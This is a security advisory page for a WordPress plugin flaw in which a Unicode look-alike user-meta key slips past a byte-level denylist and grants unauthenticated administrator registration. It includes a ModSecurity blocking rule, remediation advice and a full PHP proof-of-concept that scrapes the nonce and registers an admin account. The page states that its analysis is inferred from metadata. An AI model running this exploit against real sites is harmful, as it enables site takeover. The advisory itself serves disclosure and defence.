Published : November 24, 2026

CVE-2026-125294: Nexter Blocks Pro <= 5.0.10 Unauthenticated Privilege Escalation to Unicode Collation Confusion in 'tpgb_acf_key' Parameter PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 5.0.10
Patched Version —
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125294 (metadata-based): Nexter Blocks Pro for WordPress, versions up to and including 5.0.10, is vulnerable to unauthenticated privilege escalation through the `tpgb_ajax_register_user()` function. The vulnerability arises because the plugin uses a byte-level denylist to filter the `tpgb_acf_key[]` and `tpgb_acf[]` parameters, which can be bypassed using Unicode look-alike characters. This allows an attacker to register a new account with the `administrator` role. The CVSS score is 9.8 (Critical), reflecting the ease of exploitation and the severe impact.

Root Cause: The root cause is an improper privilege management (CWE-269) issue. The plugin attempts to prevent manipulation of user meta keys by checking for exact ASCII matches of sensitive keys like `wp_capabilities`. However, the check operates on raw bytes and does not account for Unicode normalization or accent-insensitive collation used by the database. When a key such as `ẇp_çapabilities` (using U+1E87 and U+00E7) is used, the UTF-8 byte sequence does not match any ASCII pattern, bypassing the denylist. The database’s collation (`utf8mb4_unicode_ci` or `utf8mb4_0900_ai_ci`) then treats the decorated key as equivalent to `wp_capabilities`, causing `update_user_meta()` to overwrite the user’s capabilities with the attacker-supplied value. These conclusions are inferred from the CVE description and CWE classification; no source code diff is available for confirmation.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) with the action parameter set to the plugin’s registration action (likely `tpgb_ajax_register_user` or similar). The request includes the `tpgb_acf_key[]` and `tpgb_acf[]` parameters containing a Unicode-decorated key (e.g., `ẇp_çapabilities`) and a value of `a:1:{s:13:”administrator”;b:1;}`. The nonce required for the AJAX action is publicly emitted on any page containing the `tp-login-register` block, so the attacker can retrieve it by parsing the page source. The plugin’s autologin flow then logs the attacker in as the newly created administrator. Atomic Edge research confirms that the attack is trivial to execute on default installations where user registration is enabled.

Remediation: The fix in version 5.0.11 likely replaces the byte-level denylist with a proper validation mechanism that normalizes input or restricts allowed keys to an explicit allowlist. Developers should avoid relying on denylists for security-sensitive operations and should use WordPress’s built-in functions like `sanitize_key()` (which normalizes to lowercase ASCII) to validate meta keys. Additionally, the registration handler should enforce a default role and prevent any user-supplied role modification unless the current user has the `promote_users` capability.

Impact: Successful exploitation grants the attacker full Administrator privileges on the WordPress site. This allows the installation of malicious plugins or themes, modification of site content, creation of additional admin accounts, and execution of arbitrary code via the plugin/theme editor. The confidentiality, integrity, and availability of the entire site are compromised, with a CVSS impact rating of High for all three categories.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125294 (metadata-based)
# Blocks unauthenticated privilege escalation via Nexter Blocks Pro tpgb_ajax_register_user AJAX action.
# The attack requires a Unicode look-alike key in tpgb_acf_key[] or tpgb_acf[] parameters.
# Specifically, the key contains non-ASCII characters that resemble 'wp_capabilities'.
# We detect the presence of non-ASCII characters in these parameters, which legitimate registration should not contain.
# Rule is narrowly scoped to the exact AJAX action and parameters.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026125294,phase:2,deny,status:403,chain,msg:'CVE-2026-125294: Nexter Blocks Pro privilege escalation via Unicode key in tpgb_acf_key/tpgb_acf',severity:'CRITICAL',tag:'CVE-2026-125294'"
  SecRule ARGS_POST:action "@streq tpgb_ajax_register_user" "chain"
    SecRule ARGS_POST:/^(tpgb_acf_key|tpgb_acf)([|$)/ "@rx [^x00-x7F]" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-125294 - Nexter Blocks Pro <= 5.0.10 - Unauthenticated Privilege Escalation to Unicode Collation Confusion in 'tpgb_acf_key' Parameter

// Assumptions:
// - The target WordPress site has Nexter Blocks Pro <= 5.0.10 installed and active.
// - User registration is enabled.
// - The plugin's registration AJAX action is named 'tpgb_ajax_register_user' (inferred from the vulnerable function name).
// - The nonce for the action is emitted on a page containing the tp-login-register block. The script scans the homepage for the nonce.
// - The plugin's autologin flow will log the attacker in after successful registration.

$target_url = 'http://example.com'; // Change to target WordPress site URL

// Step 1: Retrieve the nonce from the homepage (or any page with the tp-login-register block)
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$homepage = curl_exec($ch);
curl_close($ch);

// Extract nonce. The nonce likely appears in a JavaScript variable or data attribute.
// Common patterns: 'tpgb_nonce', 'tp_nonce', 'nonce' with value. Adjust regex if needed.
if (preg_match('/"nonce":"([a-f0-9]+)"/', $homepage, $matches) ||
    preg_match('/name="tpgb_nonce" value="([a-f0-9]+)"/', $homepage, $matches) ||
    preg_match('/vars+tpgb_nonces*=s*"([a-f0-9]+)"/', $homepage, $matches)) {
    $nonce = $matches[1];
} else {
    die("Could not extract nonce. The plugin may not be present or the nonce is generated differently.n");
}

echo "Extracted nonce: $noncen";

// Step 2: Craft the malicious registration request
$username = 'attacker_' . uniqid();
$password = 'P@ssw0rd!' . rand();
$email = $username . '@example.com';

// Unicode-decorated key: U+1E87 (ẇ) and U+00E7 (ç) to form 'ẇp_çapabilities'
$decorated_key = "u{1E87}p_u{00E7}apabilities";

// Capabilities value: serialized array with administrator role set to true
$capabilities_value = 'a:1:{s:13:"administrator";b:1;}';

$post_data = [
    'action' => 'tpgb_ajax_register_user',
    'nonce' => $nonce,
    'username' => $username,
    'password' => $password,
    'email' => $email,
    'tpgb_acf_key' => [$decorated_key], // Array as expected by the plugin
    'tpgb_acf' => [$capabilities_value]
];

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Registration response (HTTP $http_code): $responsen";

// Step 3: Check if registration succeeded and autologin occurred
// The plugin may return a success message and set authentication cookies.
if (strpos($response, 'success') !== false) {
    echo "Registration likely successful. Check if you are logged in as admin.n";
} else {
    echo "Registration may have failed. Review response.n";
}

// Note: If autologin does not occur, the attacker can log in manually with the created credentials.
// The new account should have administrator role due to meta overwrite.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.